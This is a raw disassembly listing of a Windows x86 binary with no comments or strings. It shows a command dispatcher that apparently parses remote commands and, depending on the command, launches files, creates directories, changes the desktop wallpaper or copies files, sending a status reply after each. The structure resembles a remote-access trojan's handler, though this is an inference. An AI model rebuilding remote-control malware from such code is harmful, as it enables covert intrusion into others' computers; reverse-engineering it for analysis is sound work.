call fcn.00402ef4
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x14]
mov edx, 0x41f374
call fcn.00402da4
jne 0x41b7cb
lea eax, [ebp - 0x14]
call fcn.004029e4
xor eax, eax
push ebp
push 0x41b887
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x14]
call fcn.00402e58
push eax
push 0
push 1
mov eax, dword [ebp - 0x10]
call fcn.00402e58
mov ecx, eax
mov edx, 0x41f2d0
xor eax, eax
call fcn.004064b0
cmp eax, 0x20
ja 0x41b840
push 5
call sub.kernel32.dll_Sleep
push 0x41fc60
mov eax, dword [0x4274c8]
push dword [eax + 0xbc]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 4
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
jmp 0x41b87d
push 5
call sub.kernel32.dll_Sleep
push 0x41fc60
mov eax, dword [0x4274c8]
push dword [eax + 0xc0]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 4
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x41b8ce
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x835c]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x835c]
mov edx, 0x41fcd0
call fcn.00402da4
jne 0x41bab6
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x14]
mov edx, 0x41f374
call fcn.00402da4
jne 0x41b9a6
lea eax, [ebp - 0x14]
call fcn.004029e4
xor eax, eax
push ebp
push 0x41ba62
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x14]
call fcn.00402e58
push eax
push 0
push 0
mov eax, dword [ebp - 0x10]
call fcn.00402e58
mov ecx, eax
mov edx, 0x41f2d0
xor eax, eax
call fcn.004064b0
cmp eax, 0x20
ja 0x41ba1b
push 5
call sub.kernel32.dll_Sleep
push 0x41fc60
mov eax, dword [0x4274c8]
push dword [eax + 0xbc]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 4
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
jmp 0x41ba58
push 5
call sub.kernel32.dll_Sleep
push 0x41fc60
mov eax, dword [0x4274c8]
push dword [eax + 0xc0]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 4
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x41baa9
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x8360]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8360]
mov edx, 0x41fce0
call fcn.00402da4
jne 0x41bbda
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x10]
call fcn.00402e58
mov edx, eax
lea eax, [ebp - 0x8364]
call fcn.00402bd0
mov eax, dword [ebp - 0x8364]
call fcn.00404ffc
cmp al, 1
jne 0x41bb90
push 5
call sub.kernel32.dll_Sleep
push 0x41fc60
mov eax, dword [0x4274c8]
push dword [eax + 0xc4]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 4
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
jmp 0x41bbcd
push 5
call sub.kernel32.dll_Sleep
push 0x41fc60
mov eax, dword [0x4274c8]
push dword [eax + 0xc8]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 4
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x8368]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8368]
mov edx, 0x41fcf4
call fcn.00402da4
jne 0x41bcfe
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x10]
call fcn.00402e58
mov edx, eax
lea eax, [ebp - 0x836c]
call fcn.00402bd0
mov eax, dword [ebp - 0x836c]
call fcn.00405e60
cmp al, 1
jne 0x41bcb4
push 5
call sub.kernel32.dll_Sleep
push 0x41fc60
mov eax, dword [0x4274c8]
push dword [eax + 0xc4]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 4
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
jmp 0x41bcf1
push 5
call sub.kernel32.dll_Sleep
push 0x41fc60
mov eax, dword [0x4274c8]
push dword [eax + 0xc8]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 4
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x8370]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8370]
mov edx, 0x41fd08
call fcn.00402da4
jne 0x41be4a
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x10]
call fcn.00404f78
cmp al, 1
jne 0x41be00
push 5
call sub.kernel32.dll_Sleep
push 0x41fc60
mov eax, dword [0x4274c8]
push dword [eax + 0xcc]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 4
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
jmp 0x41be3d
push 5
call sub.kernel32.dll_Sleep
push 0x41fc60
mov eax, dword [0x4274c8]
push dword [eax + 0xd0]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 4
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x8374]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8374]
mov edx, 0x41fd1c
call fcn.00402da4
jne 0x41bf96
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x10]
call fcn.00404f78
cmp al, 1
jne 0x41bf4c
push 5
call sub.kernel32.dll_Sleep
push 0x41fc60
mov eax, dword [0x4274c8]
push dword [eax + 0xcc]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 4
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
jmp 0x41bf89
push 5
call sub.kernel32.dll_Sleep
push 0x41fc60
mov eax, dword [0x4274c8]
push dword [eax + 0xd0]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 4
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x8378]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8378]
mov edx, 0x41fd30
call fcn.00402da4
jne 0x41c0a2
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
push 0
mov eax, dword [ebp - 0x10]
call fcn.00402e58
push eax
call sub.kernel32.dll_CreateDirectoryA
cmp eax, 1
sbb eax, eax
inc eax
cmp al, 1
jne 0x41c05f
push 0x41fc60
mov eax, dword [0x4274c8]
push dword [eax + 0xd4]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 4
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
jmp 0x41c095
push 0x41fc60
mov eax, dword [0x4274c8]
push dword [eax + 0xd8]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 4
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x837c]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x837c]
mov edx, 0x41fd44
call fcn.00402da4
jne 0x41c23a
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
lea edx, [ebp - 0x8384]
mov eax, dword [ebp - 0x10]
call fcn.00405c20
mov eax, dword [ebp - 0x8384]
lea edx, [ebp - 0x8380]
call fcn.004065c0
mov eax, dword [ebp - 0x8380]
mov edx, 0x41fd5c
call fcn.00402da4
jne 0x41c17d
lea eax, [ebp - 0x8388]
mov ecx, 0x41fd68
mov edx, dword [ebp - 0x10]
call fcn.00402cac
mov edx, dword [ebp - 0x8388]
mov ebx, dword [0x42747c]
mov ebx, dword [ebx]
mov eax, dword [ebp - 0x10]
call ebx
lea eax, [ebp - 0x10]
mov edx, 0x41fd68
call fcn.00402c68
xor eax, eax
push ebp
push 0x41c1e6
push dword fs:[eax]
mov dword fs:[eax], esp
push 2
mov eax, dword [ebp - 0x10]
call fcn.00402e58
push eax
push 0
push 0x14
call sub.user32.dll_SystemParametersInfoA
push 5
call sub.kernel32.dll_Sleep
push 0x41fc60
mov eax, dword [0x4274c8]
push dword [eax + 0xdc]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 4
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x41c22d
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x838c]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x838c]
mov edx, 0x41fd78
call fcn.00402da4
jne 0x41c373
mov eax, dword [0x427558]
call fcn.004029e4
cmp dword [0x429cd0], 0
je 0x41c291
mov eax, dword [0x429cd0]
call fcn.00405620
xor eax, eax
mov dword [0x429cd0], eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
cmp dword [0x429cd8], 0
je 0x41c325
mov eax, dword [0x429cd8]
call fcn.00405620
xor eax, eax
mov dword [0x429cd8], eax
mov eax, dword [0x4275fc]
mov edx, 8
call fcn.004045b4
mov eax, dword [0x4275fc]
mov edx, dword [ebp - 0x10]
call fcn.00402a38
mov eax, dword [0x4275fc]
add eax, 4
mov edx, dword [ebp - 0x14]
call fcn.00402a38
mov eax, dword [ebp - 0x44]
mov dword [0x429cd8], eax
xor eax, eax
call fcn.00422068
push 0x3e8
call sub.kernel32.dll_Sleep
jmp 0x41c367
lea eax, [ebp - 0x8390]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8390]
mov edx, 0x41fd8c
call fcn.00402da4
jne 0x41c40f
cmp dword [0x429cd0], 0
je 0x41c3bc
mov eax, dword [0x429cd0]
call fcn.00405620
xor eax, eax
mov dword [0x429cd0], eax
mov eax, dword [0x429cd8]
call fcn.00405620
xor eax, eax
mov dword [0x429cd8], eax
lea eax, [ebp - 8]
mov edx, 0x41fda0
call fcn.00402a7c
mov ecx, dword [0x427558]
mov ecx, dword [ecx]
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004155a8
mov eax, dword [0x427558]
call fcn.004029e4
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x8394]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x8394]
mov edx, 0x41fdc0
call fcn.00402da4
jne 0x41c540
push 5
call sub.kernel32.dll_Sleep
push 0x41fc60
mov eax, dword [0x4274c8]
push dword [eax + 0xe4]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 4
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 4]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [0x427414]
mov edx, 0x10
call fcn.004045b4
mov eax, dword [0x427414]
mov edx, dword [ebp - 4]
call fcn.00402a38
mov eax, dword [0x427414]
add eax, 0xc
mov edx, dword [0x429ce4]
call fcn.00402a38
lea edx, [ebp - 0x8398]
mov eax, dword [0x427470]
mov eax, dword [eax]
call fcn.00408b44
mov edx, dword [ebp - 0x8398]
mov eax, dword [0x427414]
add eax, 4
call fcn.00402a38
mov eax, dword [0x427470]
mov eax, dword [eax]
call fcn.00408b78
mov edx, dword [0x427414]
mov dword [edx + 8], eax
xor eax, eax
call fcn.004223c0
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x839c]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x839c]
mov edx, 0x41fdd4
call fcn.00402da4
jne 0x41c6e0
cmp dword [0x429cf4], 0
je 0x41c58d
mov eax, dword [0x429cf4]
call fcn.00405620
mov eax, dword [ebp - 0x44]
mov dword [0x429cf4], eax
push 5
call sub.kernel32.dll_Sleep
push 0x41fc60
mov eax, dword [0x4274c8]
push dword [eax + 0xe4]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 4
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [0x427534]
mov edx, 0x14
call fcn.004045b4
mov eax, dword [0x427534]
mov edx, dword [ebp - 0xc]
call fcn.00402a38
mov eax, dword [0x427534]
add eax, 4
mov edx, dword [ebp - 0x14]
call fcn.00402a38
mov eax, dword [0x427534]
add eax, 0x10
mov edx, dword [0x429ce4]
call fcn.00402a38
lea edx, [ebp - 0x83a0]
mov eax, dword [0x427470]
mov eax, dword [eax]
call fcn.00408b44
mov edx, dword [ebp - 0x83a0]
mov eax, dword [0x427534]
add eax, 8
call fcn.00402a38
mov eax, dword [0x427470]
mov eax, dword [eax]
call fcn.00408b78
mov edx, dword [0x427534]
mov dword [edx + 0xc], eax
xor eax, eax
call fcn.00422af8
xor eax, eax
mov dword [0x429cf4], eax
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x83a4]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x83a4]
mov edx, 0x41fde8
call fcn.00402da4
jne 0x41c735
cmp dword [0x429cf4], 0
je 0x41c729
mov eax, dword [0x429cf4]
call fcn.00405620
xor eax, eax
mov dword [0x429cf4], eax
jmp 0x41f065
lea eax, [ebp - 0x83a8]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x83a8]
mov edx, 0x41fe00
call fcn.00402da4
jne 0x41c8d0
push 5
call sub.kernel32.dll_Sleep
push 0x41fc60
mov eax, dword [0x4274c8]
push dword [eax + 0xe4]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 4
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
mov eax, dword [0x427490]
mov edx, 0x14
call fcn.004045b4
mov eax, dword [0x427490]
mov edx, dword [ebp - 0x10]
call fcn.00402a38
lea edx, [ebp - 0x83ac]
mov eax, dword [0x427470]
mov eax, dword [eax]
call fcn.00408b44
mov edx, dword [ebp - 0x83ac]
mov eax, dword [0x427490]
add eax, 4
call fcn.00402a38
mov eax, dword [0x427470]
mov eax, dword [eax]
call fcn.00408b78
mov edx, dword [0x427490]
mov dword [edx + 8], eax
mov eax, dword [0x427490]
add eax, 0x10
mov edx, dword [0x429ce4]
call fcn.00402a38
mov eax, dword [ebp - 0x14]
call fcn.00406cd4
mov edx, dword [0x427490]
mov dword [edx + 0xc], eax
xor eax, eax
call fcn.004225f4
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x83b0]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x83b0]
mov edx, 0x41fe18
call fcn.00402da4
jne 0x41cab8
push 5
call sub.kernel32.dll_Sleep
push 0x41fc60
mov eax, dword [0x4274c8]
push dword [eax + 0xe4]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 4
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x18]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
mov eax, dword [0x427498]
mov edx, 0x18
call fcn.004045b4
mov eax, dword [0x427498]
mov edx, dword [ebp - 0x14]
call fcn.00402a38
mov eax, dword [0x427498]
add eax, 4
mov edx, dword [ebp - 0x10]
call fcn.00402a38
mov eax, dword [ebp - 0x18]
call fcn.00406cd4
mov edx, dword [0x427498]
mov dword [edx + 8], eax
lea edx, [ebp - 0x83b4]
mov eax, dword [0x427470]
mov eax, dword [eax]
call fcn.00408b44
mov edx, dword [ebp - 0x83b4]
mov eax, dword [0x427498]
add eax, 0xc
call fcn.00402a38
mov eax, dword [0x427470]
mov eax, dword [eax]
call fcn.00408b78
mov edx, dword [0x427498]
mov dword [edx + 0x10], eax
mov eax, dword [0x427498]
add eax, 0x14
mov edx, dword [0x429ce4]
call fcn.00402a38
xor eax, eax
call fcn.00423278
mov eax, dword [ebp - 0x44]
call fcn.00405620
jmp 0x41f065
lea eax, [ebp - 0x83b8]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov eax, dword [ebp - 0x83b8]
mov edx, 0x41fe28
call fcn.00402da4
jne 0x41cc6a
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x41f0d8
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00402eb4
push 0
lea eax, [ebp - 0x83bc]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x14]
call fcn.00402cac
mov eax, dword [ebp - 0x83bc]
call fcn.00402e58
push eax
lea eax, [ebp - 0x83c0]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x10]
call fcn.00402cac
mov eax, dword [ebp - 0x83c0]
call fcn.00402e58
push eax
call sub.kernel32.dll_CopyFileA
cmp eax, 1
sbb eax, eax
inc eax
cmp al, 1
jne 0x41cc2f
push 0x41fc60
mov eax, dword [0x4274c8]
push dword [eax + 0xe8]
push 0x41f0d8
push 0x41f350
lea eax, [ebp - 8]
mov edx, 4
call fcn.00402d20
mov eax, dword [0x427470]
mov eax, dword [eax]
mov edx, dword [ebp - 8]
call fcn.004154fc
